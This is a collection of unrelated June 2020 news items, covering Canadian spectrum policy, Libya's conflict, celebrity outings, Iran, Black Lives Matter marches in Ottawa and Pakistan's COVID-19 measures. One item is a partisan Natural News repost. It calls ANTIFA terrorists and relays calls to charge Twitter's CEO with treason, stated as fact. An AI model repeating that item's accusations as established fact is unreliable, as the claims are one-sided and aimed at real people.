OTTAWA, June 5, 2020 /CNW/ - Since the start of the COVID-19 pandemic, the Government has engaged with Canada's telecom service providers to ensure they can continue to provide the services that we all rely on to stay connected. Today, the Honourable Navdeep Bains, Minister of Innovation, Science and Industry, announced a six-month postponement of the 3500 MHz spectrum auction process and its associated key dates to allow the telecommunications industry to maintain its focus on providing essential services to Canadians during the COVID-19 pandemic. The auction is now scheduled to start on June 15, 2021. Innovation, Science and Economic Development Canada will continue to monitor COVID-19's impact on the telecom industry and remains open to further changes to the timelines for spectrum auctions if necessary. In addition, Minister Bains announced that a consultation on the 3800 MHz band would be launched in August. This consultation will give stakeholders the opportunity to comment on how additional spectrum can be used to further support Canada's world-class wireless infrastructure and progress toward the next generation of connectivity. In keeping with the Government's commitment to track progress on the 25 percent reduction in wireless service prices over the next two years, Minister Bains announced that the first quarterly pricing report on 2 GB to 6 GB data plans will be made available online in July 2020.



The Government would like to thank employees in the telecommunications industry for their continued hard work to ensure that Canada's networks remain strong and resilient, enabling the work-from-home economy while we all do our part to combat COVID-19. Quote

"Canada's telecommunications service providers are doing their part in this difficult time, providing essential services to keep Canadians connected as we face the realities of the COVID-19 pandemic together. A number of providers have raised concerns, and the Government is implementing measures to address them. The Government will continue to reach out to telecommunications service providersand to the private sector more broadlyto understand their challenges and support them to ensure that Canadians have access to high-quality networks and broad coverage at low prices."

 The Honourable Navdeep Bains, Minister of Innovation, Science and Industry Quick facts The 3500 MHz and 3800 MHz spectrum bands are globally recognized as key for 5G networks.

The Government's delay of the 3500 MHz spectrum auction process is consistent with steps taken internationally for similar auction processes in light of the COVID-19 pandemic.

Canadians are continuing to rely on their wireless services during the COVID-19 pandemic, and the Government remains committed to low prices.

The Government of Canada's priorities for 5G services are high quality, broad coverage and low prices, and holding the 3500 MHz spectrum auction at the right time will support those priorities. Associated links Backgrounder: 3500 MHz spectrum auction

What is spectrum?

Backgrounder: Offering Canadian consumers more affordable options for their wireless services Follow Innovation, Science and Economic Development Canada on Twitter: @ISED_CA SOURCE Innovation, Science and Economic Development Canada

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Renegade Libyan commander Khalifa Haftar abandoned his last remaining stronghold in the countrys west in the early hours of Friday, raising fears of reprisal attacks against civilians deemed to be his supporters.

The loss of the city of Tarhuna, 40 miles southeast of the capital Tripoli, marks an end to Haftars ill-fated 14-month campaign to conquer the countrys densely populated northwest.

The infamous Kaniyat militia, Mr Haftars local affiliate in Tarhuna, fled with minimal fight, allowing forces loyal to the internationally recognised Government of National Accord (GNA) to take control.

Video footage showed GNA fighters collecting military vehicles and other hardware left by Haftars departing forces. Other footage posted to the Facebook page of the GNAs military showed fighters embracing residents of Tarhuna, with car horns being honked in celebration.

Libyan officials said their next targets were to retake the central coastal city of Sirte from Haftar, the Jufrah airbase in the countrys desert south and southern oil fields under Mr Haftars control.

Residents celebrate in Tripoli (AFP /Getty) (AFP via Getty Images)

Our battle continues and we are determined to extend state control over all the territory of Libya, said Fayez Serraj, prime minister of the GNA.

But there were also growing fears of looting and revenge attacks in Tarhuna, a city of at least 13,000, and rural nearby villages home to thousands more.

Tarhuna was a stronghold of the late former Libyan dictator Muammar Gaddafi, and relations between the town and the Islamist-leaning government in Tripoli have been strained since the 2011 uprising that felled the former regime. The town has long been allied with Haftar.

Amnesty International yesterday issued a brief that warned of a pattern of retribution as towns change hands in Libya. Both the GNA and Haftars Libyan Arab Armed Forces have been accused of war crimes following military victories.

The Amnesty report cited witnesses and videos confirming the looting of homes in towns west and south of Tripoli taken by the GNA from Haftar in recent weeks. It also cited residents alleging Haftars loyalists placed landmines and booby-trapped bombs as they withdrew from civilian areas last month.

Civilians in Libya are once again paying the price as all parties escalate retaliatory attacks and other grave violations showing utter disregard for the laws of war and lives of civilians, said Diana Eltahawy of Amnesty. She urged both sides backers in Ankara, Moscow and Abu Dhabi to rein in their Libyan proxies.

A man waves a Libyan flag in Tripoli in celebration of GNA victories this week (AFP/Getty)

Local reports and witness accounts suggested that many residents of Tarhuna and their families were fleeing 60 miles away to the city of Bani Walid, which has also served as a Haftar stronghold, for fear of revenge attacks by GNA fighters that have been branded terrorist militias by UAE and Saudi-funded media outlets.

Libyan armed forces loyal to the GNA publicly warned fighters they would face the most severe penalties if they carried out any reprisals, theft or vandalism against Tarhuna residents who may be seen as sympathetic to Haftar.

Civilians in Libya are once again paying the price as all parties escalate retaliatory attacks and other grave violations showing utter disregard for the laws of war and lives of civilians Diana Eltahawy, Amnesty

The withdrawal marked the latest in a string of stinging defeats for Haftar following the robust intervention of Turkey on behalf of the GNA earlier this year.

Haftar, a 76-year-old former CIA asset backed by Russia, the United Arab Emirates, Egypt and France, was reportedly in Cairo, conferring with his patron and mentor, Egyptian president Abdel Fattah el-Sisi, over possible next moves.
As the coronavirus pandemic continues to fade into the background of national media attention, more and more businesses are reopening while new cases of the disease seem to abate.

Brazilian supermodel Alessandra Ambrosio was seen stepping out to run errands in the Woodland Hills area of Los Angeles, California.

Ambrosio, 39, looked stunning as usual, in a belted linen jumpsuit by Splendid that hung off her svelte frame beautifully.

About time: Alessandra Ambrosio was seen running errands on Thursday in the Woodland Hills area of Los Angeles

The grey garment featured a white striped pattern.

Alessandra also carried a tan leather purse on her shoulder, and matching Laiik slides on her feet.

The mother-of-two wore a black face mask adorned with a white pattern akin to a traditional bandanna.

Chic: Ambrosio, 39, looked stunning as usual, in a belted linen overall set that hung off her svelte frame beautifully

The supermodel has been active on social media of late in support of causes related to Black Lives Matter, in light of worldwide protests after the police killing of unarmed black man George Floyd in Minneapolis, Minnesota over Memorial Day Weekend.

On Monday, she posted an arresting visual of black and white hands holding one another, as well as a photo and quote from renowned political and social justice activist Angela Davis.

Alessandra captioned the gallery with the hashtag #BlackLivesMatter, as well as #VidasNegrasImportam, the Portuguese equivalent.

Black Lives Matter: The supermodel has been active on social media of late in support of causes related to Black Lives Matter, in light of worldwide protests after the police killing of unarmed black man George Floyd in Minneapolis over Memorial Day Weekend

On Monday: She posted an arresting visual of black and white hands holding one another, as well as a photo and quote from renowned political and social justice activist Angela Davis

And on Wednesday, she shared a sweet post to her Instagram Story which showed adorable black and white toddlers playing with and embracing one another.

The tagline above the images read, 'Children will play with everyone until someone tells them not to'.

When she is not working out or using her platform for activism, Ambrosio is busy documenting her leisurely lockdown life.

Ambrosio often provides her 10.3 million Instagram followers with poolside bikini pictures, photos taken during her time spent in lockdown with boyfriend Nicolo Oddi and children Noah, eight, and Anja, 11.

Strong message: And on Wednesday, she shared a sweet post to her Instagram Story which showed adorable black and white toddlers playing with and embracing one another
That aggressive tone marked a change. In recent months, Iran has seemed interested in turning down the temperature with Washington, negotiating on the release of prisoners and reducing attacks from its proxy militias on American forces in Iraq. But the calculus may have changed now that polls show Mr. Trump struggling; the presumptive Democratic candidate, Joseph R. Biden Jr., was involved in the negotiation of the 2015 deal and the Iranians may have concluded it can be reconstructed if he takes office.

I think something has certainly changed on the Iranian side, said Henry Rome, an Iran analyst at the Eurasia Group, a political risk consulting firm. Certainly last summer, they assumed Trump was going to be re-elected.

Mr. Rome said he would draw two conclusions. You dont want to do anything that would help Trump be re-elected. That would give him a boost they simply dont want to chance, he said. It also means if they wait long enough, and they are correct that Joe Biden becomes president, then you have a much different dynamic, and a much more sustainable one.

He rejected the idea that the Iranians, sensing that Mr. Trump is desperate, might see an advantage in negotiating an agreement with him now. The Iranian view is that this would not be a sustainable deal, with someone as volatile as Trump, he said.

Mr. Hook argued that the release of Mr. White, who was detained for nearly two years, was evidence that the United States can negotiate from a position of strength, noting that he was returned with no sanctions relief, no change of policy and no pallets of cash, the last a reference to how the Obama administration returned to Iran funds it had in the United States that had been frozen for nearly 30 years.

But he also argued that the Iranian people were losing out on an opportunity to avoid have their national wealth squandered, in the Middle East and Venezuela, places where Iran is actively providing support. In the two years since Mr. Trump left the Iran deal, Mr. Hook noted, he has met with Kim Jong-un three times. He did not note that those meetings have, so far, been fruitless, and Mr. Kim, the North Korean leader, has continued with his nuclear weapons program.

The report from the International Atomic Energy Agency was only circulated to a small number of nations, but leaks of its contents, ahead of a meeting of the agency in a few weeks, suggest that Iran is continuing its slow but steady accumulation of nuclear material. While it is hard to calculate with any precision exactly how many months it wold take Iran to produce enough fuel to make a single bomb, Irans production of material  which it says is a reaction to the United States violating its commitments to suspend sanctions  has clearly slipped below the one-year buffer that was central to the 2015 agreement.
The Office of the Auditor-General has announced to the public and its stakeholders that it has resumed collection of the Assets and Liabilities Declaration Forms.



In a statement copied to the Ghana News Agency and signed by Mrs Ama Awotwe-Bosumafi, Assistant Director of the Public Relations Unit of the Audit Service, said it was reminding all public office holders to submit completed forms in accordance with Article 286 of the 1992 constitution and the Public Holders (Declaration of Assets and Disqualification) Act, 1998 (Act 550).



The statement said all completed forms must be returned to the Legal Services Offices (Room 22 Old Block), of the Audit Service at the Ministries Block O, Accra.

Source: GNA









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CHESTERTON  The coronavirus rules will again be in effect for Saturday's European Market, which means face masks will be required of all those entering the market area.

Chad Burns, European Market director for the Duneland Chamber of Commerce, said 14 vendors will be ready with a variety of items, which is up from 10 last week. That's a far cry from the crowd of vendors the market usually attracts. Burns said they normally have about 60 vendors this time of year, and it increases to 80 or so later in the year.

To comply with the social distancing guidelines set by Gov. Eric Holcomb and by the Porter County Health Department and Chesterton Town Council during the pandemic, the chamber has limited the space and the number of vendors. Burns said until the restrictions are lifted, the vendors attending will be rotated to give more of them a chance to participate.

Normally, Thomas Centennial Park at 220 Broadway, would be available to accommodate both vendors and patrons, but the park is closed because of the virus. The market will be set up in the parking lot next to the park.

The parks department expects to be able to reopen by the July 4 holiday. Burns said the chamber hopes to add space and vendors as it can.
India, Australia sign accord to boost military cooperation

Iran Press TV

Thursday, 04 June 2020 10:34 AM

India and Australia have reached an agreement to grant access to each other's military bases for purported military cooperation in the Indo-Pacific region.

The accord, aimed at boosting logistical support for joint military exchanges and drills, was signed during a virtual summit between Indian Prime Minister Narendra Modi and his Australian counterpart, Scott Morrison, on Thursday.

"We share democratic values, the rule of law, freedoms, and respect for international institutions. When these are being challenged, we need to strengthen our cooperation," Modi said in the summit.

Morrison told Modi, "We are committed to an open, inclusive, prosperous Indo-Pacific, and India's role in that region will be critical in the years ahead it's time for our relationship to go broader and to go deeper."

The agreement, according to sources familiar with the bilateral talks, allows military ships and aircraft to refuel and access maintenance facilities during maritime exercises.

New Delhi has a similar pact with the United States that is widely seen as part of broader cooperation to counter China's growing economic and military weight in the region.

There was no mention during the Thursday summit of whether Australia would join India later this year in an annual naval drill held with the United States and Japan in the Indian and Pacific Oceans.

The US military regularly conducts what it refers to as "freedom of navigation" missions and air patrols over the South China Sea, which is also claimed by the Philippines, Vietnam, and others and acts as gateway to trillions of dollars in maritime trade each year.

China has repeatedly warned the US to roll back its growing presence and stop its provocative patrols near Chinese islands in the sea.

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(Natural News) The social media platform Twitter censored Rep. Matt Gaetz (R-FL) on Monday because he called out the domestic terrorists in ANTIFA in a post.

(Article by Shane Trejo republished from BigLeaguePolitics.com)

The offending Tweet can be seen here:

Twitter be all afraid to publish my likes?#EnemyOfThePeople pic.twitter.com/xIV2sBYYd8  Matt Gaetz (@mattgaetz) June 2, 2020

Gaetz has repeatedly refused to back down from his assertion that ANTIFA should be hunted down like ISIS and similar terrorist groups:

Their warning is my badge of honor. Antifa is a terrorist organization, encouraging riots that hurt Americans. Our government should hunt them down. Twitter should stop enabling them. Ill keep saying it. https://t.co/Nw3HFec53C  Matt Gaetz (@mattgaetz) June 2, 2020

We hunt down terrorists in the Middle East by having our government (not vigilantes) monitor their communications, freeze their money and stop them from committing attacks. American lives, businesses & property are more deserving of our strong protection than distant sand dunes. https://t.co/5pNSny53cH  Matt Gaetz (@mattgaetz) June 1, 2020

You know what incites violence? Weakness. https://t.co/wgV9UA1Smf  Matt Gaetz (@mattgaetz) June 1, 2020

Twitter is once again giving harbor to ANTIFA terrorists, as journalist Laura Loomer has pointed out is often the case. She has called for Twitter CEO Jack Dorsey to be locked up because he regularly allows his platform to be used by the terror group to promote violence and harassment.

Big League Politics reported on Loomers call for action against a Silicon Valley giant that unabashedly stands with the enemies of America:

Congressional candidate and banished journalist Laura Loomer is calling for Twitter CEO Jack Dorsey to be arrested because of his association with the ANTIFA domestic terrorist group. After censoring President Donald Trumps tweets about violent riots, Twitter CEO Jack Dorsey put #BlackLivesMatter as the header on the official Twitter Twitter account, Loomer wrote in a post on the social media platform Parler. Loomer noted that Dorsey has allowed his platform to be used by ANTIFA members despite the fact that they have egregiously flouted their terms of service by organizing terrorist violence and targeted harassment campaigns. At the same time, Twitter has punished conservative leaders like Loomer with lifetime bans for merely expressing their own opinions in a non-violent manner. Jack Dorsey is aiding and abetting terrorist organizations by allowing for ANTIFA terrorists and Islamic terrorists to have access where they are promoting anarchy and lethal riots, she wrote. In the middle of a national emergency, he is also censoring the commander in chief who is posting about the army and national guard responding to the riots, she added. Loomer believes that there is a case for Dorsey to be tried with treason for his actions, and the feds should set their sights on him for enabling some of the worst rioting in U.S. history. For this, Jack Dorsey should immediately have his home raided by the feds Roger Stone style and be charged with inciting acts of domestic terrorism in America, she wrote. Its time for Jack Dorsey to be prosecuted for aiding and abetting terrorists and committing TREASON. #LockHimUp, she added.

President Trump has announced that ANTIFA forces will be treated like terrorists, as Big League Politics has been urging him to do for many years.

The United States of America will be designating ANTIFA as a Terrorist Organization.  Donald J. Trump (@realDonaldTrump) May 31, 2020

Read more at: BigLeaguePolitics.com
She's been continually active on social media about the issues that are important to her.

And Sara Sampaio looked deep in thought Thursday, as she modeled a playful and on-trend look while taking her cute dogs for a walk before a grooming appointment in Los Angeles, California.

The Portuguese stunner, 28, donned a bright blue and white tie-dye t-shirt for the outing in Hollywood, which she paired with light blue Daisy Dukes that were cutoff at the thigh.

Ready for an outing: Sara Sampaio looked pensive and deep in thought Thursday, as she modeled a playful and on-trend look while taking her cute dogs for a walk in LA

Sara also momentarily wore a black Bravado face mask adorned with the unmistakable logo of the rock band The Rolling Stones.

Her gorgeous brown locks hung down the sides of her face and back.

The 5ft8in catwalker led her pooches  one of which looked to be partially Shiba Inu  to the groomers as certain non-essential businesses have been allowed to reopen amid the coronavirus pandemic that looks to be subsiding.

Deep in thought: The Portuguese stunner donned a bright blue and white tie-dye t-shirt for the outing in Hollywood, which she paired with light blue Daisy Dukes that were cutoff at the thigh

Dog mom: The 5ft8in catwalker led her pooches  one of which looked to be partially Shiba Inu  to the groomers as certain non-essential businesses have been allowed to reopen

The Victoria's Secret Angel recently posted a lovely outdoor reunion photo to her Instagram, showing her hanging out with fellow models Jasmine Tookes and Kelsey Merritt.

'Missed these girls so much ' she captioned the photo of the trio seated in front of a sunlit sky.

Additionally, Sampaio has been vocal in the social media realm about the Black Lives Matter movement, ever since the May 25th killing of George Floyd at the hands of Minneapolis, Minnesota police officers that captured national attention and sparked ongoing protests around the country.

Stunners in nature: The Victoria's Secret Angel recently posted a lovely reunion photo to her Instagram, showing her hanging out with fellow models Jasmine Tookes and Kelsey Merritt

Additionally: Sampaio has been vocal in the social media realm about the Black Lives Matter movement, ever since the killing of George Floyd at the hands of police officers

On May 31st, the runway star posted an arresting visual which listed some of the more recent black victims of violence, most if not at all on the part of police officers.

White privilege is real! And we must not stay silent! #blacklivesmatter I stand with you!' she captioned the text image.

And on Wednesday, Sara posted on behalf of the 8CantWait movement by Campaign Zero, which seeks to instill eight vital policies that have the power to significantly reduce police violence.

Say their names: Sampaio posted a list of black victims of police brutality, writing: 'White privilege is real! And we must not stay silent! #blacklivesmatter I stand with you!'
What were the first impacts of the coronavirus on your business?

It first really became clear that there was a real crisis brewing in January. We had launched an ultra-concentrated laundry detergent last year that comes with this easy-dose cap. Those caps are made in China. In January, we had a really big challenge on our hands to be able to get these. The second piece was in January when there were three cases reported in Seattle. And at that point we decided that we would extend the coverage of our inventory on our disinfecting products, because we suspected that there was going to be an increase in demand, but it wasnt anywhere close to the surge that we saw when March came around.

Youve mentioned that you anticipated some demand, but nothing like what was about to come.

The week of March 8 we saw a surge in demand of somewhere between 600 and 750 percent. When you build a supply chain and package, you normally have about a 30 percent buffer to be able to meet a surge in demand. Nobody built a supply chain to be able to respond to that kind of surge in demand. So the team has been in a constant state of triage ever since, and were still in that.

To what extent were you able to meet that demand? Where does it stand now, three months later?

It really depends on the category. We sell everything from laundry detergent to dish soap to toilet paper and disinfecting products, cleaning products, diapers, wipes. Every category has a little bit of a different story, but in some categories were selling two and a half, three times what we would normally be selling even today. Over all, our business is almost twice the size of what it was a year ago.

What was it about toilet paper that made it so hard to come by?

First of all, nobody anticipated the level of stocking up you would see on toilet paper. That shocked everybody. But any of these paper businesses are very capital-intensive businesses. You only make money in that business if youre running your machines pretty close to capacity. So when you have a big surge in demand, its hard to increase more than youre already producing, because youre generally producing pretty close to capacity. You dont have the kind of flexibility that you would normally expect to have in another business.

When Paul Polman left as chief executive, a lot of people wondered how deep the roots of cultural change were at Unilever.

Yeah. And huge kudos to Alan Jope, whos come in and is doubling down on his commitment to the space as well.

When Unilever first came to us to discuss buying the business in 2016, the company wasnt for sale. We were doing really well. We were growing rapidly. We had incredible, patient investors, and there was no reason for us to sell the business. But when they approached us, what we realized was if we were to ever sell the company, the only company we could ever sell it to would be Unilever, because the values are so aligned to what we were standing for. What we realized was that for a company that believes in transforming the world and the way that business is done, we could go from affecting millions of people here in the U.S. to potentially billions of people around the world.
Most of us are too young to remember the events of the American Revolution. It began in 1765 when the colonists rebelled against Great Britain to establish themselves as a separate, independent nation. After a long and bloody war, the colonists succeeded and established the United States of America we know today.

But now at least one citizen is asking Her Majesty Queen Elizabeth to take the country back under her control. This event wouldnt be too noteworthy if it hadnt elicited a rare response from Buckingham Palace.

An American citizen begged for Queen Elizabeth to reclaim the United States

General George Washington in the Battle of Princeton | Stock Montage/Getty Images

RELATED: 5 Reasons Hamilton: An American Musical Is Still Making Headlines

The U.S. colonies belonged to Great Britain long before Queen Elizabeth came to power. Settlers from Europe arrived at different East Coast locations in the late 16th century as England began a colonization initiative. But eventually, mounting political differences inspired the colonists to revolt against tax increases, which led to the Revolutionary War and the establishment of an independent nation.

But not everyone is happy with how the country is operating more than 200 years later. An anonymous citizen sent a letter to Queen Elizabeth in 2015 which expressed their distaste with the presidential candidate, and eventual victor, Donald Trump.

What the letter said

The letter had a bold, unusual request for Her Majesty following the Republican party primary.

On behalf of the American people, I urgently implore you to take us back, the citizen wrote, according to Express. Clearly, the options we have to lead us arent up to par. Again, please, I beg of you, make the United States of America a colony of the United Kingdom.

They continued: For further reasons as to why this is such a necessary, albeit drastic, step, I refer to tonights Republican Party Primary debate. Thank you. God Save the Queen.

Her Majesty issued a rare response to the letter writer

Queen Elizabeth II | John Stillwell  WPA Pool/Getty Images

The queen receives upward of 300 letters every day and does not have time to read or respond to every one. Plus, she rarely answers queries from her fans since she follows the age-old royal motto, Never complain, never explain. This letter, however, did inspire Her Majesty to reply.

A Buckingham Palace official drafted a polite yet firm response. I have been asked to write in response to your recent letter to the queen in which you express your views about the American government, the letter read.

Whilst your views have been noted, you will appreciate, I am sure, that there can be no question of the queen intervening in the affairs of another sovereign state.

Queen Elizabeth is one of two monarchs to visit the United States

Queen Elizabeth and Donald Trump | Richard Pohle  WPA Pool/Getty Images

Despite friendly relations between the United Kingdom and the United States, Queen Elizabeth is one of only two monarchs  the other being her father, King George VI  to set foot on U.S. soil for the purpose of a royal visit.

Meanwhile, Her Majesty has met with all 11 United States presidents who served during her reign except for one. She never met Lyndon B. Johnson during his presidency, which began after the assassination of John F. Kennedy.

The queen hosted President Donald Trump and his wife, Melania Trump, in 2019 at Buckingham Palace.
A Japanese district court on Thursday rejected a request by a man to overturn a prefectural commission's decision deeming him ineligible for victims' compensation as a surviving family member after his same-sex partner was murdered.

"I cannot recognize same-sex relationships as de facto marriages," Presiding Judge Masatake Kakutani said in the hearing at the Nagoya District Court where Yasuhide Uchiyama, 45, challenged the decision made by the Aichi Prefectural Public Safety Commission in December 2017.

In order for Uchiyama to be recognized as a de facto spouse, "two people of the same sex living together must first be regarded as equal to marriage in society," Kakutani said.

Whether a same-sex partnership could be considered a de facto marital relationship was a major point of contention in the trial, as it would make Uchiyama eligible for victims' compensation as a surviving family member if so.

"It is extremely disappointing that my request was rejected on the basis that same-sex couples are not sufficiently accepted in society," Uchiyama said at a press conference following the trial.

The plaintiff's lawyers had argued that the system is intended to ease the emotional and financial stress suffered by families of crime victims, and that it was outdated to regard de facto marriages as being only heterosexual relationships amid a greater awareness of sexual diversity in present society.
They confirmed in April that they are expecting their first child together.

And pregnant Gigi Hadid looked sensational as she posed for a rare selfie with boyfriend Zayn Malik as part of a special campaign for British Vogue.

The parents-to-be were joined by Helena Christensen who also shared a selfie for a project with Hardlyeverwornit.com, in which celebrities auction off treasured items of clothing for charity.

Parents-to-be: Pregnant Gigi Hadid, 25, looked sensational as she posed for a rare selfie with boyfriend Zayn Malik, 27, as part of a special campaign for British Vogue

Gigi, 25, pouted into the camera as she posed for an arty black and white shot with her former One Direction star beau, 27.

A topless Zayn cuddled Gigi close as he posed facing away from the camera, while Gigi snapped the image in a mirror over his shoulder.

An the model looked glowing as she rocked a denim top and edgy skirt from Fendi, while she draped a Dior saddlebag over his shoulder.

The expectant mum swept her blonde tresses into a sleek bun while she added a touch of bling with dazzling drop earrings.

Stunning: The parents-to-be were joined by Helena Christensen who also shared a selfie for the project in which celebrities auction off treasured items of clothing for charity

First time mum: Gigi first shared a glimpse of her baby bump in a picture celebrating 25th birthday

Meanwhile, Helena, 51, showcased why she was one of the most in demand supermodels in her day as she posed up a storm for her own snap.

The Danish beauty flashed the dress in a plunging Christian Dior dress, which showed off plenty of cleavage and leg.

Posing in front of foliage, she sure put on an eye-catching display, with her photo encased in a gilt gold frame.

Gigi and Helena are one of a number of models who've joined forces with British Vogue to raise money and support for two charities: NHS Charities Together and the National Association for the Advancement of Colored People (NAACP).

Doing their part: Gigi (pictured last month) and Helena are one of a number of models who've joined forces with British Vogue to raise money for charity

The project will see 23 of the world's most beautiful women select pieces of clothing from their own wardrobe to be auctioned off, with the campaign working in partnership with Hardlyeverwornit.com (HEWI).

All funds raised in the The Way We Wore auction will be split equally between the two worthy charities.

Other famous beauties also taking part include Joan Smalls, Lily Aldridge, Paloma Elsesser and Christy Turlington Burns, who like Gigi and Helena, took their own lockdown snaps from their homes to showcase their items.

Fans are also able to purchase limited-edition prints of their selfies, which also feature in July's issue of Vogue, with the proceeds going to charity.

Work it: Other famous beauties also taking part include Joan Smalls, who left very little to the imagination as she displayed her 'staple' Givenchy handbag wearing just a pair of knickers

Wow: Paloma Elsesser put on a very busty display in daring JW Anderson dress, which she says made her feel like a 'surrealist sergeant' when she wore it

Mirror mirror: Lily Aldridge cut a striking figure as she modelled her featured Prada dress, which she described as the 'perfect LBD for all occasions'

Strike a pose: Christy Turlington Burns is a vision as she poses in a striking gown made from 'repurposed materials', which she says is the 'perfect piece to pass along'

Gigi, who's snap was taken on April 2nd in Pennsylvania, said of the project: 'I appreciate the opportunity to give back in this way, and hope that whoever ends up with these pieces - the Fenty top and skirt and Dior saddlebag - really enjoys them, knowing that their contribution will help those struggling due to Covid-19.

'Zayn and I send our love and best wishes to everyone.'

It's been reported pregnant Gigi, has 'always wanted several kids' and that she and Zayn 'plan to have a large family'.

A source told People the happy couple 'plan to have a large family', and added: 'They've been through their ups and downs, but neither stopped caring about the other.'

Lovely news: Gigi confirmed her pregnancy while on Jimmy Fallon, as she thanked the talk show host for congratulating her on her pregnancy

Of expanding their brood, they went on: 'They've jumped on the timing of having a baby and are preparing for their new lives.

'Gigi is young but always said she wants several kids. She's sensitive and nurturing and will be a great mom.'

The publication also reported as both Gigi and Zayn come from big families they are hoping to have a large brood of their own.

'She has always wanted several kids': Gigi and Zayn 'plan to have a large family' and are 'thrilled' to be preparing to become parents, it was reported last month (pictured 2016)

It was also claimed that the pair are enjoying spending quality time together while in quarantine amid the coronavirus pandemic, as it allows them to 'really experience' the pregnancy day by day.

The news comes after Gigi confirmed her pregnancy while on Jimmy Fallon, as she thanked the talk show host for congratulating her on her pregnancy.

'Obviously we wish we could have announced it on our own terms, but we're very excited and happy and grateful for everyone's well wishes and support,' she said.

British Vogue's The Way We Wore auction, in partnership with HEWI, launches at 2PM BST on Tuesday 9th June at Vogue.hardlyeverwornit.com and will be live for 72 hours.
Source: Xinhua| 2020-06-06 06:32:47|Editor: huaxia

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TORONTO, June 5 (Xinhua) -- Canadian Prime Minister Justin Trudeau and his ministers took a knee in solidarity with the demonstrators who were marching against racism and police brutality in Ottawa Friday afternoon.

Thousands of people took to the street in downtown Ottawa to protest against racism, chanting "Black Lives Matter," "Enough is Enough," "I can't breathe," and "No Justice, No Peace."

On Parliament Hill in the Canadian capital city, Trudeau and his ministers joined the march and took a knee in solidarity with the demonstrators.

"We will be walking to inspire policing change. We all see what is happening in the USA right now and the entire world is being shaken. Ottawa also has its share," said Yvette Ashiri of the African Canadians Association of Ottawa.

Several hundred people marched from Parliament Hill to the Senate of Canada Building, and then down Sussex Drive towards the U.S. Embassy.

The Ottawa demonstration came just over 10 days after the death of George Floyd during an arrest in the U.S. city of Minneapolis. Floyd died after a white police officer knelt on his neck for nearly nine minutes while he was handcuffed face down on a Minneapolis street on May 25.

Meanwhile, thousands of people reportedly also took to the street in downtown Toronto to protest against racism.

The demonstration, dubbed "I Can't Breathe Toronto March," began on Friday noon and anti-racism protesters traveled in large groups towards Nathan Phillips Square in Canada's largest city.

The slogan is in reference to Floyd's repeated plea to the police officer before he died.

Toronto Police Chief Mark Saunders was present at Friday's protest. He was taking a knee with several other officers on a street in a show of solidarity with the demonstrators.

Rallies of similar themes also took place in other Canadian cities including Vancouver, according to the local media reports. Enditem
[June 05, 2020] Forethought Expands Colorado Network with Deployment at H5 Data Centers

H5 Data Centers, a national colocation and wholesale data center provider, today announced the network expansion of Forethought, one of Colorado's leading locally owned service providers to its Denver data center campus. Forethought can now offer Internet, cloud and communications services to customers at 5350 S. Valentia Way. H5 Data Centers owns a 300,000-square-foot data center campus in the Denver Tech Center, where it has invested nearly $30 million on upgrades and expansions over the past several years. With the addition of Forethought, H5 Data Centers adds a diverse offering for customers and supports Forethought's mission to bridge the digital divide in rural Colorado to ensure access to affordable, modern broadband for hundreds of rural communities. "Our partnership with Forethought strengthens our carrier-neutral ecosystem in Denver," said Josh Simms, CEO of H5 Data Centers. "It is an excellent oportunity for our customers to diversify their network options, and we look forward to supporting the broader Colorado community."



Denver Data Center Highlights: 300,000-square-foot data center campus

Two (2) independent, concurrently maintainable Tier III data centers

Over fifteen (15) years of continuous uptime

24x7 on-site engineering and security teams "FORETHOUGHT.net is excited to be a part of the growing H5 ecosystem, and is a key element of our plan to offer 100Gbps transport services between Denver and rural markets statewide," said Jawaid Bazyar, President of FORETHOUGHT.net. "H5 + FORETHOUGHT.net" will provide reach for H5 customers to destinations throughout the state."

About Forethought Forethought was founded in 1995 to reduce the digital divide caused by slow Internet speeds and get the communities on the map for competitive high-speed internet, cloud, and phone services. Since 1995, FORETHOUGHT.net is one of Colorado's largest independent locally owned internet, cloud and communications service providers with offices in Denver, Grand Junction and Durango, offering a portfolio of enterprise-level cloud hosting, colocation, internet, voice, and data solutions. For more information, visit https://forethought.net/. About H5 Data Centers H5 Data Centers is one of the leading privately-owned data center operators in the United States, with over 2 million square feet of data center space under management. The company designs and engineers flexible and scalable data center solutions to address the core infrastructure and edge requirements of its customers. H5 Data Centers operates data centers in Albuquerque, Ashburn, Atlanta, Charlotte, Cincinnati, Cleveland, Denver, Phoenix, Quincy, San Antonio, San Jose, San Luis Obispo, and Seattle. For more information, visit www.h5datacenters.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005040/en/

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A lightning strike is being blamed for a fire that destroyed a central Pennsylvania barn Thursday night.

The bolt hit the barn of Phil Perkins in North Heidelberg Township, Berks County, at 10:10 p.m.

Flames were shooting from the structure when firefighters arrived, state Trooper Herb Jannsen said. Several chickens died in the blaze but other animals were saved, he said.

There were no human injuries. The damage is estimated at more than $150,000, Jannsen said.

He said the sheer power of the lightning bolt overwhelmed the barns protection system. Ground rods and wires were in place but were unable to disperse the energy, Janssen reported.
Authorities in Pakistan have begun reimposing a partial lockdown and have made wearing masks mandatory as the country races toward turning into a coronavirus hub amid rising infections and a mounting death toll.

Authorities backed by security forces have shut down more than 3,000 shops and markets across the country since June 4 as the cases neared 90,000, surpassing neighboring China where the coronavirus pandemic began earlier this year.

With 4,896 cases, Pakistan recorded its highest daily increase on June 4. The country also recorded 68 deaths the same day. Alarmingly, nearly 25 percent of the 20,168 tests conducted on June 4 turned out positive, which indicates that the deadly virus is spreading fast.

The rapid escalation in rates comes nearly a month after the government first eased and eventually ended a lockdown. On June 5, Prime Minister Imran Khan indicated that he remains opposed to a lockdown.

"It is important for you to ensure that people follow SOPs [standard operating procedures] because we can't go back to lockdown; this country cannot afford it," he said in a televised address to the Corona Relief Tiger Force volunteers. "If we can slow down the [infection] curve because of SOPs, it will reduce pressure on hospitals."

A day earlier, his administration indicated that it was serious about imposing coronavirus restrictions. Strict administrative action has been initiated against the violators of standard operating procedures and social distancing in public places and high-risk areas of markets, public transport and industrial sectors, a June 4 statement by Prime Minister Imran Khans office said while alluding to Pakistans four provinces and northern territories.

The statement said that a fine of some 70 U.S. cents will be imposed on everyone violating the mandatory rule of wearing a face mask in all public places. The people have generally welcomed the initiative, the statement said.

Some shopping malls and markets have already been sealed off by the police in the eastern province of Punjab. Many had violated a government rule to serve only those customers who wear masks, provincial minister Aslam Iqbal said.

Murtaza Wahab, a spokesman for the government in the southern province of Sindh, said that some vehicles were confiscated and their owners were fined for violating safety guidelines. In the capital, Islamabad, at least 10 neighborhoods were sealed off.

